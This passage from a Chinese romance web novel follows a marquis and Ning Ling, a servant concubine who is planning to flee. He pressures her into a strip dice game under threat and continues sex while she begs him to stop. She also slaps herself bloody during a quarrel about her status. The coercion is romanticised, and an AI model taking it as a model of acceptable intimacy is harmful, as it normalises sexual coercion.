他用手捻了捻她温热的耳垂:“又长本事了?次次都把我送你的首饰乱用。” 先是念儿换钱,再是花楼当定金,接着是当赌注。 没有半点珍贵待之。 “可我身上没有现银,日日光读书写字也腻了。”宁泠委屈地低头,“而且我还赢了,不仅将耳珰赢了回来,还赢了孙婆婆她们几百文呢。” 听出她的自豪得意,裴铉笑道:“还骄傲上了?” “是我自己凭本事赢得钱。”宁泠眼神乞求地望着他,“侯爷,能不能让我留下这几百文,也算是为我的胜利做个纪念。” 有了这几百文去渡船的钱就够了,她若出逃直接使用金瓜子,岂不太显眼。 待出了叙州,再用金子要安全得多。 裴铉陷入沉思没说话,区区几百文他当然不放在心上。 只是担心轻而易举饶了她,次次她都肆无忌惮。 忽然一个略微冰凉的吻落了下来,刚好吻在他喉结的位置。 裴铉神情微怔,眼眸幽深。 “可以吗?”宁泠亮晶晶的眼眸看着他。 “嗯。”裴铉鬼使神差地点了头。 过了片刻后,他又觉得一个简单的吻就打发了他,太简单了。 裴铉道:“但是这次的事情不能不罚。” “那侯爷想怎么罚?”铜钱到手,宁泠温和问道。 “你既怪我没陪你,让你一个孤零零在府里无所事事。”裴铉嘴角上扬,“那我就好好陪你玩玩。” “侯爷,想怎么玩?”宁泠轻蹙眉头,感觉有点不对劲。 “你喜欢摇骰子玩,我当然要陪你玩。”裴铉笑着道。 宁泠思忖了会,踌躇问道:“那赌注是什么?” 银子?可她没有呀,裴铉也不可能瞧得上那几百文。 见她神色单纯,皱眉思考了许久都没想出来。 裴铉坏笑凑近她的嘴角,轻啄一口解释道:“按你的玩法玩,免得说我占便宜。赌注是脱衣服,谁输一局谁脱一件,不许熄灯。” 平日里她总嚷嚷着要熄灯,如今光线正好,看她自己一件件脱,岂不更有意思? 话一说完,裴铉的呼吸都略微急促了些。 宁泠面色发红,万万没想到他是这个意思。 “不然换个吧?”宁泠努力争取,大白天多难为情。 “不行。”裴铉捏着她盈盈一握的细腰,“我还没和你算账呢,你若是依了我,几百文归你,这事就翻篇了。” “若我不依你呢?”宁泠小心翼翼地问出来。 “那我便食言,再收回那几百文。”裴铉厚颜无耻地继续说道:“然后我亲自动手扒了你衣服,接着再狠狠收拾你。” 他脑海里一旦想到那场景,霎时血脉贲张。 他赤。裸不加掩饰的锐利视线直勾勾盯着宁泠,等待她的回答。 近日忙碌,他回来时她常常已经睡着了,好久没有彻底释放了。 宁泠被他如狼似虎的眼神看怕了,想着能缓一时是一时。 她满脸羞红,声音低柔:“都依你。” 裴铉很快命紫叶送来了骰子,眼神示意宁泠先摇。 宁泠内心暗暗祈祷要赢,结果率先摇出个最小点。只有裴铉也同样摇出个最小点,两人再继续比,宁泠才有赢的可能,但这微乎其微。 她绝望无奈地眨了眨睫羽,灵动的神情逗乐了裴铉。 “有什么担心的?又不是只有一件衣裳。”裴铉接过骰子,随意地扔。 果然裴铉的点数比她大,宁泠磨磨蹭蹭地脱了一件外衣。 两人继续比赛,宁泠的好运似乎在孙婆子哪儿用完了。 接连几局地输下去,她只 穿着一身单薄的里衣,欲哭无泪地看着裴铉哪儿的骰子。 几局下来裴铉一局也没输,宁泠神色忿忿不平。 终于裴铉输了一局,他爽快地脱了外袍。 宁泠有意拖延时间,慢慢吞吞地摇骰子。 裴铉炙热的视线落在她脸上,却不催促他,反而漫不经心地倚在靠背上等她。 时间一点一点地过去,宁泠只剩着上面的里衣,一双修长白皙的腿暴露在裴铉的视野。 又是一局宁泠输了,她只有两个选择。 要么脱去上面的里衣,露出里面的抹胸,要么脱出身下的亵裤。 宁泠左右为难,一时间抉择不出。 她惹人怜爱地望着裴铉,乞求他放她一马。 裴铉慵懒地用修长的手指支着脑袋,没出声。 “我不玩了。”宁泠轻咬嘴唇出声,让她自己一件件脱,太羞耻了。 “想好了?”裴铉声音低沉,“那几百文就没了。” “你都可以食言,我为什么不能反悔。”宁泠委屈巴巴打着商量,“我都脱了这么多了,不若就此结束,几百文归我,我们两扯平。” 裴铉修长整洁的手指在桌面上轻叩,眉眼染笑道:“宁泠你这牌品不行呀,牌桌上不认账可是大忌呢。” “那你刚才食言,难道品行就好了?”宁泠气鼓鼓的。 裴铉轻笑出声,笑得很悦耳动听。 他善解人意道:“那将你的首饰耳珰、鞋袜都算上,行了吧?” 反正等会都要脱的,还不如看她自己动手更有趣。 第39章 第39章【VIP】 宁泠还想再央求裴铉几句,可裴铉却不为所动了。 宁泠咬咬牙只有继续坚持下去,但她似乎时来运转,一连赢了好几局。 裴铉疏懒地褪去衣物,只剩下一条里裤,上身赤裸。 结实的肩膀,清晰可见的微红指甲划痕。 线条分明的腹肌,以及紧实的劲腰。 宁泠脸色发热得很,耳根泛红地低垂着脑袋,露出那截瓷白如玉的脖颈。 裴铉焉坏焉坏地问道:“害羞什么?又不是没见过。” 裸着的人是他,她倒脸红了。 宁泠不语,只是用力地摇骰子。 后面的几局却不如意了,刚开始宁泠仗着自己还有几件头饰鞋袜,并不心慌。 头饰耳珰最先输了,瀑布般柔顺黑亮的乌发倾泻而下。 裴铉干涩的喉头动了动。 紧接着鞋袜也输了,她修长显眼的长腿下白皙的脚背,圆润可爱的脚趾。 宁泠面色绯红,轮到她摇骰子时,恨不得使出吃奶的力气,摇出最大点。 还是输了,之前那个里衣和亵裤的问题,现在又面临着选择。 “你是不是使诈出老千了?”宁泠语气怀疑,狐疑的目光扫视裴铉。 她和孙婆子等人玩时,手气从没有这么倒霉过。 裴铉嘴角上扬地摊摊手:“没有,也没这个必要。” 谁先脱对他来说区别不大,不过看宁泠主动,的确更有意思。 他饶有兴趣地指着骰子:“你若赖账,那我也要反悔了,几百文就别想了。” 到了眼下这一步,让宁泠把到手的几百文再还回去,岂不是赔了夫人又折兵。 她低头沉思会,不情不愿地脱了里衣。 露出里面贴身的荔枝白色抹胸,上面还绣着几朵清雅的莲花,衬得肌肤如玉。 “改明儿让绣房,给你做几件胭红色的。”裴铉眼神放肆。 她皮肤白,穿上张扬些的红色,会更妩媚诱人。 “不要。”宁泠神情抗拒,“穿在里面的东西,不需要显眼,而且不方便搭配外衣。” “傻宁泠。”裴铉看着那团若隐若现的软肉,“自然是只给我一人看,那还需穿外衫。” 床笫尽兴之事,哪里能让别人看。 宁泠才恍然大悟,羞得肌肤粉嫩:“无耻、下流。” 裴铉赞同地点点头,她这样娇嗔满面,怪可爱的。 宁泠怂了,迟迟不肯摇骰子。 “快点。”裴铉叩叩桌面催促。 宁泠深吸一口气,接着一扔骰子。 还是比他小。 她难为情地抬眸,眼底水雾氤氲。 裴铉浑身散发的侵略性越发强,炙热的视线不加掩饰地打量宁泠上下。 无声地催促她继续做出选择。 宁泠害怕地手指并拢握拳,觉得现在的自己像是被凶狠猛兽盯上的猎物。 她无助又惶恐。 室内三脚香炉内的烟雾袅袅升起,暧昧的情意弥漫在四周。 被那道危险的视线紧跟,宁泠的脑海一片空白。 本能地伸手去抓旁边的外衣,逃! 她刚抓住衣角,跑出两三步。 身后的骰子声落地,男人大步流星地追了过来。 裴铉将娇小的宁泠一把揽入怀里,俯首在她耳畔吐气:“怎么还玩不起呢?” 许久没做了,宁泠感觉到畏惧。 “乖,很舒服的,别怕。”他将怀里的人抱入榻上。 他的身量极高,将宁泠笼罩在下方。 裴铉将那晚没用上的书卷找了出来,随意地翻了几下。 他几乎倒背如流,将书搁在宁泠面前。 “选个你喜欢的。” 宁泠不着痕迹地往后挪,被裴铉鹰隼似的眼发现。 他猛地攥着她光洁的脚踝,笑脸吟吟:“你不选,那我就先选了,可别又反悔。” 宁泠不好意思去看那书,又不敢真的让裴铉去选。 她紧张地闭上眼眸,睫毛轻颤。 她随手翻了页,眼睛都不敢睁开。 裴铉视线落在书上,笑出声:“好宁泠,我们真是心意相通呢,你竟然选了我最喜欢的。” 宁泠忽觉不对,急忙睁开眼。 看着那页图画,面色惊恐。 怎么还有这种东西。 看见图画中的场面,宁泠心生退意。 宁泠呼吸都乱了,她懊恼地说:“不算数,这是我乱翻的。” “又开始赖账了。”裴铉靠近她,气息拂过她的面庞。 宁泠紧张地手指死抓床纬,坚决摇头:“真的不行。” 裴铉捏着她纤细的手腕,不轻不重地捏着她的手腕,声音沙哑:“该你照做了。” 他的声音带着不容置疑的命令,宁泠急得眼眶蓄满泪珠:“不行,我真的做不到。” “你自己选的。”裴铉好声好气道:“又不是我逼的,这可不行哦。” 倏地宁泠的吻落在他脸颊上,从额头到眼眸,再到鼻尖。 最后落到那温热的嘴唇,很笨拙地亲吻他,有意讨好他。 一下一下,像是小鸡啄米。一点也不解馋,裴铉舔了舔嘴唇。 宁泠刚触及温软的舌尖时一颤,接着尝试的用自己的舌尖去触碰。 裴铉这次没有急躁,仍由她动作。 宁泠卖力地取悦他,小小香软的舌尖紧紧纠缠着他。 裴铉捏她的手腕卸了力,宁泠主动地环上他的脖颈。 亲吻纠缠了会,宁泠无力地趴在他肩头娇喘。 裴铉的眼眸染上情欲:“长本事了啊,宁泠。” 宁泠的吻落在他脖颈处,含糊不清地说着:“侯爷,不那个好不好?” 声线低柔,整个人小鸟依人地依偎在他胸膛处。 “不那样也成。”裴铉笑得轻浮,那张俊脸更加荡漾,“你当着他的面好好夸夸它。他开心了,就放过你。” 宁泠强迫自己去看,神色苦恼地在心里打草稿。 “长得很好看。”宁泠昧着良心说出了第一句。 裴铉满意地点点头:“然后呢?” “很厉害。”宁泠面红耳赤,绞尽脑汁。 裴铉明知故问道:“有多厉害?” “就是很厉害。”宁泠羞怯地垂眸。 “能让宁泠满意吗?”裴铉恶劣问道。 宁泠的脸更红了,玉白的鹅颈都变得粉嫩。 “嗯?” “能。”宁泠顺着他的话说。 裴铉不依不饶:“这个回答太简短,也太敷衍了。我想他并不是很满意。” 宁泠声音低如蚊呐,重复了一遍:“能让宁泠满意。” 裴铉还是不满意,追问道:“有多满意?” 宁泠彻底不敢对上裴铉的视线了,支支吾吾道:“就是很、很满意。” 话刚说完,见他似乎很对宁泠的话很认可。 裴铉把书扯回来,将其中一页展示给宁泠看:“我要这个。” 宁泠对上他的视线,惊讶出声:“啊?” 不是让她选吗?而且她已经选过了啊。 裴铉坏笑地揉揉她的头:“我让你先选,又没说我不选。” 宁泠眼眸睁大,暗骂卑鄙。 夜晚传来裴铉不满地声音:“你和画上可不一致,还要再努努力才行。” 以及宁泠崩溃地求饶声:“不要了,不要。” “想想那几百文铜币。”裴铉温柔的哄骗声。 低低地哭泣呜咽围绕在室内。 很久过后,裴铉为宁泠洗净上药后,把香软的她回到了榻上。 她眼角绯红,还心心念念道:“不准扣我的铜币。” 裴铉没想到她还是个财迷,第一次见面给秋月银子时可大方了。 几百文给她也无妨。 “今日表现好,没晕过去。”裴铉蹭蹭她的脸颊,“虽然你赖账了,但还是给你了。” 宁泠眼神欣喜,又听见他道:“下不为例,以后不准再与婆子厮混。” 毕竟以后是他的妾室,那样也太不成体统了。 宁泠点点头。 歇了几天后,裴铉又开始忙碌公务了。 宁泠一个人又恢复了无所事事的状态,珍珠给她找来许多话本。 “这些话本在盛安城畅销得很。”珍珠宝贝地抱来一摞话本子,“姐姐没事的时候,看看它们打发时间。” “哪来的?”宁泠随手翻了几本,上面的字她倒是大多认识,都是些各式各样的爱情故事。 “都是我的。”珍珠捧着脸兴奋道:“姐姐可以念出来,我们一起看。” 上面是字画插写形式,可惜大多丫鬟都不认字。 每次她想看,还得去找人跟着一起看。 以前宁泠也不识字,她就没提过。 如今宁泠识字了,她就不用花了银子还低声下气地求人,她们两个就能看了。 “你一个人买的?”宁泠发现应该买了有些时日了,书页发黄。 珍珠嘟嘟嘴:“对。” “你既然不识字,还买它干什么?”宁泠好奇问道。 “我不认字就出银子买。”珍珠解释道:“然后找个识字的,我们一起看,她念给我听。” 反正闲来无事,宁泠:“那我们一起看吧。” 两人的脑袋凑在一起看话本。 几天后裴铉下值回来,瞧见两人有说有笑的。 他没出声,放轻脚步走至珠帘后静听,深不可测的视线落在宁泠身上。 “这是张姑娘在河边浣洗衣物。”宁泠指着图上给解释珍珠,接着又指着另外一处,“这儿有个男儿受伤昏迷了。” “张姑娘人美心善,发现了受伤的许公子,将他带回屋里精心养伤。”宁泠翻了一页,“那许公子醒了非常感激。” 珍珠捧着脸,听得十分认真 裴铉隐藏在珠帘后听完了整个故事,无非就是女子好心救了那男子,男子为了报答救命之恩,高中状元后八抬大轿、明媒正娶了那女子,两人琴瑟和鸣,一生一世一双人。 “话本里的故事听听就行。”裴铉出声讥笑,眼底不屑。 那许公子名门之后,又高中状元,怎么可能娶一个乡野农女为正室。 位列高官,还后院独守一人,连个通房都没。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第40章 第40章【VIP】 这种话本子,也就是哄哄女人。 宁泠本就心心念念什么正妻,可不能真记心里了。 宁泠听出他的不满,没说话。 他当然是瞧不上乡野之女的,在他看来不过是个无权无势的卑贱之人。 珍珠见他回来,赶紧退了出去。 裴铉进来换衣洗手,看她还是不说话。 “生气了?” 宁泠将话本合上,不想和他多说。 “我说的是句实话,你怎么还生气了?”裴铉牵住她的手。 “我知道这不现实,不过是写来哄娘子们开心的。”宁泠神情冷静。 她只是不喜裴铉嘲讽的语气,她也只是个普通的人。 裴铉碰碰她的额头:“你可不要被这些话本子迷了心智。” 宁泠低头没说话。 那副模样落在裴铉眼里,带着点嘴上服软,心里较真的意思。 “这些乱七八糟的闲书少看。”裴铉的面色冷了几分,生怕她钻了牛角尖。 宁泠的语气也冷了几分:“侯爷给我看得乱七八糟的书还少吗?” 他看哪些书就成,还逼着她跟着学。 如今不过看点话本子,就开始计较了? 想到那夜的销魂,裴铉服软笑笑搂住她:“你这脾气怎么越发大了,我不过就随口说几句,你又开始呛人。” 宁泠想到之后的计划,也不想与他闹得太僵。 现在万事俱备只欠东风,如何出府是一个棘手的难题。 裴铉是绝不可能再放她单独出去,那怕跟着人。 “侯爷若肯纵着我,我自然愿意好好说话。”宁泠的态度软了几分,带着点傲娇可爱。 “好。”裴铉摸摸她的脸颊,“都依你。” 看点话本子也无关大雅,以后教她习字时。 多学点女德之类,慢慢扳回来便是。 青州那边的和田玉账本拿到了,裴铉近来忙碌得多。 和宁泠闲聊了几句,便去书房处理公务。 书房时不时有下属出没,宁泠没跟着去。 半个月的时间一晃而过,冬季已悄无声息地离开,温暖的太阳挂在上空,吹来的风也不再寒冷。 珍珠的话本早就看完了,宁泠无趣得很。 “姐姐,紫叶姐姐让我去藏书阁帮忙。”珍珠对宁泠说道。 宁泠不解问道:“去藏书阁做什么?” “说是近日天气好,将里面的书拿出来晒晒。”珍珠一五一十说道。 “我与你一起去,刚好去帮忙。”按理说珍珠是她的人,都被借去帮忙,那应该是比较缺人,反正她无事可做。 珍珠面色为难:“万一侯爷知道就不好了。” 侯爷有多宝贝宁泠,她作为贴身伺候的人,当然最清楚不过。 端茶倒水,伺候沐浴。 可从没见过宁泠早起服侍他洗漱穿衣,她哪敢让宁泠跟着去干活。 宁泠心里轻叹一声,没再跟着去。 她也不愿让珍珠难做。 当天夕阳西下,晚霞染天,微风轻拂时。 珍珠蹦蹦跳跳地回来,兴高采烈道:“姐姐,藏书阁里竟然有话本。” 宁泠惊讶地抬眸。 “我也没想到呢。”珍珠叽叽喳喳继续说:“我当时看见都不信,但紫叶姐姐说藏书阁书籍万千,有这些不奇怪。” 她之前还想着托人帮忙买点话本子呢,没想到藏书阁就有。 “不然姐姐找侯爷借借?”珍珠环视一圈,鬼鬼祟祟压低声音,“而且听紫叶姐姐说,哪些都不是凡品。” 这样岂不是省下了一大笔银子,而且外面话本子的故事翻来覆去都听腻了。 紫叶姐姐跟在侯爷身边见多识广,她都说好的,那一定是好东西。 侯爷的书房乃是府里重地,紫叶姐姐是侯爷身边的老人了,都不能擅自出入。 宁泠却是随意出入,去藏书阁借几本书,应该不是什么难题。 “那我去试试。”宁泠点点头。 一直看珍珠的话本她也有点不好意思,奈何手里就这几百文可用,没有多余的银子买话本分享给珍珠。 裴铉回屋的时候,见宁泠神情恬静,聚精会神数着铜币。 暖黄温暖的烛火照在她脸上,温柔乖巧。 “多少文?”裴铉给自己倒了一杯水,也给宁泠倒了一杯。 宁泠没理他,怕打断自己的思路。 她想理清楚后,十个为一贯用线穿起来。 见他不理自己,裴铉也不恼。 只是指尖到处生乱,一会摸摸她扑闪扑闪的睫毛,一会点点她粉嫩的唇珠。 宁泠被他弄得烦了, 圆眸微瞪,凶了他一眼。 裴铉安分了些,安静地靠在椅背。 轮廓分明的俊脸在藏在模糊的烛火后,若隐若现。 他耐心地看着她认真地一枚枚数着铜板。 静谧舒适的室内,只有宁泠低声数数的声音。 颇有几分岁月静好,宜室宜家的氛围。 宁泠数了一大半后,后知后觉地抬眸寻他。 剑眉星目,深情温柔的桃花眼,高挺漂亮的鼻,好看的唇。 两人视线交织,他虎视眈眈,宁泠迅速低头错开,忽略她飞快跳动的心脏。 裴铉挑眉风流一笑,拦腰将她抱起。 宁泠气得锤了锤他胸口:“我差点就数完了。” “等会数也是一样的。”裴铉的手紧紧攫住她纤细一握的细腰。 后来伏在那张木桌上,宁泠断断续续许久才数完了。 数了几遍,每次都不一样。 裴铉嘴角上扬,眉梢处都透着餍足。 他帮她洗净穿戴好,见她指尖轻颤,眼位洇红,将她抱在怀里安抚:“字写的不好便算了,怎么连算术也这么差?” “你也好意思提?”宁泠的嗓音有点低哑。 她见裴铉的心情还不错,清了清嗓音问道:“我能去藏书阁借几本话本子出来看吗?” 室内缱绻旖旎的暧昧片刻间淡了,男人依旧将她抱在怀里。 但他上扬的嘴角渐渐放平,气息内敛神情莫辨。 迟迟没有回应。 “不方便吗?”宁泠看不见他的神情,缓了缓接着问道:“我不进去,可以让藏书阁的人将书送过来吗?。” 藏书阁内说不定有什么机密、军事要图等等。 裴铉依旧没有出声,宁泠不解地抬眸对上那清冷深邃的眼眸,她读不懂里面复杂的情绪。 但她明显察觉到他的情绪,像暴风雨到来前夕,平静却蕴藏着巨大的危险。 “你觉得你能以什么样的资格身份进去?”裴铉的视线锐利地投射在她脸上。 自古以来藏书阁就归后宅管,由家主母负责打理。 察觉到他的语气不善,宁泠利落起身,声音清冷:“不方便就算了。” 不过是借几本话本子打发时间,之前他便发作过一会。 现在又开始耍脸子发脾气,泥人尚且还有三分脾气呢。 她宁泠也不是眼巴巴地非要那话本。 宁泠恼怒地转身就要离开。 “站住!”裴铉厉声,“我让你离开了吗?” 近来他的确是越发纵着她了,当初想着浣衣局一事亏待了她。 每每她无理取闹,不分尊卑,他都大事化小,高高举起,轻轻放下了。 倒是纵得她不知进退,连藏书阁这种地方也敢肖想。 宁泠嘴角扬起不屑的冷笑,果然男人的鬼话不能信。 区区几本话本子,就能惹得他雷霆大怒。 “侯爷既然认为奴婢不配进去。”宁泠直视他的视线,“那请您尽管放心,奴婢绝不会踏入一步。” “藏书阁由正室掌管。”裴铉声音冷淡,“你连妾室都算不上,当然不会踏入。” 宁泠:“侯爷言之有理。” 不只藏书阁,整个侯府她都不想踏入。 见她冷淡不屑的态度,裴铉意有所指:“做通房要守通房的规矩,话本子里的东西当不得真。” 先是赌博,再是看话本子看得走火入魔,鬼迷心窍了。 宁泠眼眸一片清明:“侯爷放心,奴婢对正室之位没有任何非分之想,断不会痴人做梦。” 他不就是暗指她,不自量力,异想天开吗? 她宁泠从没想过。 裴铉的目光还是落在宁泠身上,宁泠不想和他纠缠了,直接了当说:“侯爷不放心,大可让我滚出侯府,亦或是将我赶去庄子里。” 他以为她稀罕待在他这个破地方吗? “宁泠。”裴铉笑了,“让你守通房的规矩,首先要明白自己是个什么身份,当奴才最重要的是听话,而不是你想怎样就怎样。” 说来说去都是走,裴铉不妨将话明说:“如今你生是我的人,死也是我裴铉的鬼。你若听话乖顺,我就给你几分体面抬你为妾,你若不听话” “不听话又怎样?”宁泠轻蔑地看了一眼他,眼神厌恶,“本就是你一厢情愿,如今还想我仍由你摆布,我看你才是那个异想天开、痴人说梦的人。” 这些日子为了取得他信任,让他放松警惕,她做得还不够多吗? 再这样谄媚服软下去,她连自己都不认识。 宁泠的话彻底惹怒裴铉,他的嘴角更加上扬,衬得面容更加阴森。 他阴鸷的视线落在宁泠身上:“口轻舌薄、出言不逊,看来府里训人的姑姑没有教好你。” 宁泠嗤笑出声,背脊挺正,似不畏强权的竹,百折不挠。 “侯爷自知理亏说不过,就开始要动刑了?” 两人的声音都没有压低,外面候着的婆子丫鬟听了个大概,似鹌鹑似的低头畏手,生怕惹火上身。 珍珠听见后,暗骂自己蠢货。 “你可知府里出言不逊该如何罚?”裴铉冷冷道。 “掌嘴。”宁泠痛快回答。 她挑衅的眼眸毫不畏惧地直面裴铉,似乎等着他的巴掌落下来。 她等了半晌,裴铉还是纹丝不动。 裴铉声音大了些:“我不打你,让珍珠自去领罚。” 倏地空气中响起两道破空声,重重地很响亮。 宁泠以迅雷不及掩耳之势狠狠扇了自己两巴掌,她下手极狠,脸上留下鲜红的巴掌印,嘴角沁出丝丝鲜血。 “一人做事一人当。”宁泠不耐烦地扫了眼他,“裴铉,别让我看不起你。” 第41章 第41章【VIP】 听见里面的声音,大家伙都面面相觑。 紫叶担心宁泠没轻没重和侯爷动了手,那就危在旦夕了。 珍珠幼嫩的脸皱着,嘴里嘟囔:“都是我的错。” 裴铉神色阴狠,直接向前迈一步,掐住她的下巴:“谁准你打自己的?” “侯爷觉得不够?”宁泠反问,接着无所谓道:“打到侯爷满意也行。” 她厌倦了这样的日子,一切都掩盖在他的甜言蜜语下。 刚才隔着那昏暗的烛火下,看着他那张脸。 不可否认在那一瞬间,她离开的决心有一刹那动摇。 她厌恶自己的这样,这两巴掌彻底打醒了她。 宁可死,她宁泠也不可能留在这谄媚做狗。 她嘴角的鲜血随着她唇瓣的张合,鲜血沁出的速度也更快。 裴铉眉头紧拧,忽然发现他真的没法子了。 她不怕强权,不怕受罚,不怕吃苦挨饿。 他采取怀柔办法,以柔化刚,却也毫无作用。 宁泠有些疲倦了,抬了抬眼皮子问道:“可以走了吗?” 她只想好好睡一觉,不想再和他攀扯这些不可能的事情。 裴铉松了手,唇线抿紧。 外面的珍珠十分担心,侯爷的脾气暴躁她是知道的,虽然宁泠受宠,可盛怒之下也不知到底怎么样了。 主意是她想得,祸是她闯的。 宁泠一直待她很好,将她当妹妹,还带着她读书认字。 珍珠心一横,不管不顾地撞开门。 裴铉周身的戾气浓郁,狠辣地盯着来人。 珍珠吓得腿一软,跪在地上哭喊:“是奴婢的错,今日奴婢去藏书阁帮着晒书,发现了话本想带回看,才乱出主意让宁泠姐姐去借书的。” 裴铉的视线落回了宁泠上,她还是傲骨不屈,面带倔强地站在那。 珍珠偷偷抬眼看了眼宁泠,红肿的脸,带血的嘴角。 “珍珠,此事是我做的,你无需担责。”宁泠牵动嘴角说。 珍珠年幼,只是好奇问了一嘴,真正做决定的是自己,怨不得旁人。 是她太自以为是,天真地以为借几本话本无碍 。 珍珠想开口再言,可侯爷看她的眼光如同把刀子,恨不得将她千刀万剐。 已是深夜了,宁泠真的乏了。 “侯爷若无吩咐,奴婢退下了。”宁泠行礼后,扯起珍珠。 见裴铉没有再出言反对,她才拉着珍珠出门,扬长而去。 独留裴铉一个人伫立在内室内,空气还似有似无飘荡着鲜血的气味。 珍珠哭哭啼啼跟在宁泠身后,外面众人见了后也面色大惊。 万万没有想到侯爷竟然会动手打宁泠,顿时众人都不敢与宁泠搭话,怕招惹侯爷怒火。 坐在偏房的梳妆台前,看着铜镜里的自己。 宁泠才后知后觉得疼,脸颊出火辣辣的,口腔内一股血腥味。 珍珠火急火燎地跑出灶房拿鸡蛋消肿,却无功而返。 府里个个都是人精,前脚得了宁泠失宠的消息,后脚谁敢给她东西。 宁泠安慰她道:“没事,帕子浸湿敷脸也是一样的。” 珍珠的眼泪啪嗒啪嗒地落,一边拧帕子一边说:“都是我的错。” 害的宁泠挨打,上次她虽然挨了五板子,可行刑的人特意放了水,还没现在的宁泠伤得重。 “上次你挨打,怨我了吗?”宁泠问道。 珍珠摇摇头。 宁泠噗嗤一笑:“我也不怨你,你再认错,我也跟你学。” 珍珠猛地摇摇头,上次挨打宁泠一直对她道歉。 见她受了伤还要安慰自己,珍珠也收了眼泪,小心翼翼为她敷脸。 珍珠本想问疼吗?可看见帕子贴上去的一瞬间,宁泠身子一抖,就没有问得必要了。 “侯爷真狠心。”珍珠的声音压得很低,只有宁泠听见。 宁泠做出嘘的手指:“不要说这种话,小心隔墙有耳。这两巴掌都是我自己打的。” 珍珠大吃一惊,没想到狠手竟然是宁泠自己下的。 可又转瞬明白,明白宁泠是护着她,宁泠若不打自己,侯爷定会狠狠罚她出气。 “侯爷还是疼惜姐姐的。”珍珠进来后,见侯爷都快气得跳脚,可还是没舍得动宁泠一根手指头。 “傻妹妹。”宁泠的声音带着困倦,“若疼惜还会说出这种话?” 不过是将她当做一根狗,驯服她,征服她。 珍珠的脑袋转了转,还是为裴铉辩解:“侯爷只是一时气头上。” 虽然侯爷脾气不好,但她觉得他对宁泠还是真心的。 “那我问你,没有正室就如此大动干戈。”宁泠的声音清醒了几分,“若有了正室有我容身之地吗?” 珍珠的脑袋跟不上,没说话。 宁泠打算好好和她聊聊,免得珍珠以后误入歧途,识人不清,最担心她像秋月一般,被人蒙骗。 “现在他对我好,不过是在新鲜劲头上。”宁泠顿了顿,思考后继续,“以后身边的女人多了,他还记得我是谁吗?” “可若成了府里的妾室,衣食无忧也不错啊。”珍珠后半句说得很小声。 “表面上的光鲜亮丽罢了,你今日拿到鸡蛋了吗?我所有的一切都得仰仗他的施舍,今日他吼我两句,府里谁敢帮我?以后他淡了腻了,正室要卖我罚我,岂不是易如反掌。” 宁泠平静地说完,虽然男人也不见得会对正妻好,可至少有法律条文的约束。 珍珠小心翼翼地说:“那侯爷是淡了,腻了吗?” “或许是吧。”宁泠心力交瘁地上了塌。 淡了腻了最好,那怕喜欢也不影响她离开。 珍珠将屋子里翻了一遍,也没找到合适的药膏。 宁泠困得眼皮都抬不起了,困得声音模糊让她早点回去休息。 珍珠妥善地收拾完东西,轻手轻脚地关上门。 一转身就发现门后杵着侯爷,她吓得要大声行礼。 一记冷飘飘地眼刀扫来,珍珠的嗓子瞬间发不出任何声音。 她心惊胆战,拼命回想刚才的谈话,不知侯爷来了多久,听了多少。 他一个眼神示意,珍珠放轻脚步离开了。 裴铉悄无声息地进了屋,半弦玄月挂在漆黑的上空。 朦胧柔和的月光散落在地面上,宁泠的呼吸平稳悠长,似乎已经睡着了。 他借着月光,目光轻柔地看着她的脸蛋。 红肿得更厉害了,因为不适,宁泠睡觉的眉头紧蹙。 嘴角的鲜血已经擦拭干净,宁泠正面朝上,双手交叉放于腹部,很老实的睡姿。 平时与他一起睡时,她的睡姿算不上多好。 爱躲着他,蜷缩着一团。 裴铉拿出带着药膏,尽量动作温柔地为她上药。 宁泠睡得迷迷糊糊,以为是珍珠在为她敷脸。 睡梦中的人忍不住娇气了几分:“疼,轻点。” 裴铉的动作顿了顿,俯身靠近她,在她脸上轻轻地吹气,凉风缓解了几分火辣燥热的疼痛。 宁泠没再喊疼,模模糊糊地继续沉睡,清凉的膏药敷在脸上。 看着她紧蹙的秀眉松了几分。 裴铉心里微不可闻地叹了声气,他无计可施。 第二天宁泠起身后,珍珠面上带喜地抱着一个食盒。 宁泠用手摸了摸脸,感觉消肿了许多。 “姐姐,你猜是什么?”珍珠将食盒放置身旁,伺候她洗漱。 宁泠随意地扫了眼:“鸡蛋?” 昨天没拿到鸡蛋消肿,珍珠耿耿于怀。 “是一品楼的酥蜜饼。”珍珠神色高兴,“侯爷今日上值前,特意命人去买的。一品楼本来要中午才开门,可侯爷态度强硬,这还是今日的第一盒酥蜜饼呢。” 宁泠神情冷漠,打一巴掌给一个甜枣,他裴铉倒是运用地炉火纯青。 见宁泠并无喜笑颜开,珍珠开心的表情收敛了些:“姐姐是不喜欢吗?” “我想喝点热粥,这些冷硬之物我现在吃不下。”宁泠将食盒推至珍珠面前,“你吃吧,不要浪费了。” 看着金灿灿、香喷喷的酥蜜饼,珍珠肚里的馋虫都被勾起。 可转念想到昨夜裴铉冷冰冰的脸色,她不敢吃。 宁泠坐在梳妆台前,看着自己的脸:“消肿得还挺快。” 珍珠磨磨蹭蹭说道:“其实,昨夜我走后,侯爷来过,说不定是他给姐姐上药了。” 不知侯爷想不想姐姐知道。 宁泠的神情依旧没有什么变化。 下值后,裴铉来了偏房这儿,宁泠后背垫着个海棠花纹的湖蓝色靠枕,坐在窗柩下绣着东西。 裴铉走进一瞧,发现是在手帕上绣着梅花,只是绣工一般。接着视线又转到放在一旁的酥蜜饼,满满的一盒,一个都没有动。 “你不是爱吃吗?”裴铉坐在她身边。 宁泠眼皮都没抬一下,语气敷衍:“没胃口。” 她还以为裴铉要冷落她许久,或是又要罚她干什么。没想到像一只癞皮狗,巴巴地凑上来,真讨人嫌。 裴铉注视着她的脸蛋,浮肿已将消了许多,但脸颊上还是留着红红的印子。 裴铉的语气温柔了些:“脸还疼得厉害吗?” 虚情假意的关心真让人恶心,宁泠继续头也不抬道:“还好。” “那你想吃什么?”裴铉的语气顿了顿,“我让人去买。” 连着两回无端冤枉她,心里竟有些不是滋味。 难免有几分心存愧疚,昨儿他一夜未眠, “奴婢并无什么想吃的。”宁泠专注地绣着花。 无声的沉默蔓延在室内,裴铉脑海里回想着昨夜的话,倏地突口而出:“你就那么讨厌我吗?” 宁泠抬了抬眼,眼底清明:“侯爷说呢?” 人在屋檐下,她不想把话说得太清楚,可难道他裴铉没有几分自知之明吗? “我知你惶恐不安,担心以后受了欺负,怕我冷落忘了你。”裴铉眼眸望着她,“那我抬你做侧夫人可好?” 同样是妾,可也有等级高低之分。 侧夫人要上报朝廷,过了文书,可以代表侯府参加聚会,逢年过节也可以入宫参加宫宴,而且不可能被买卖。 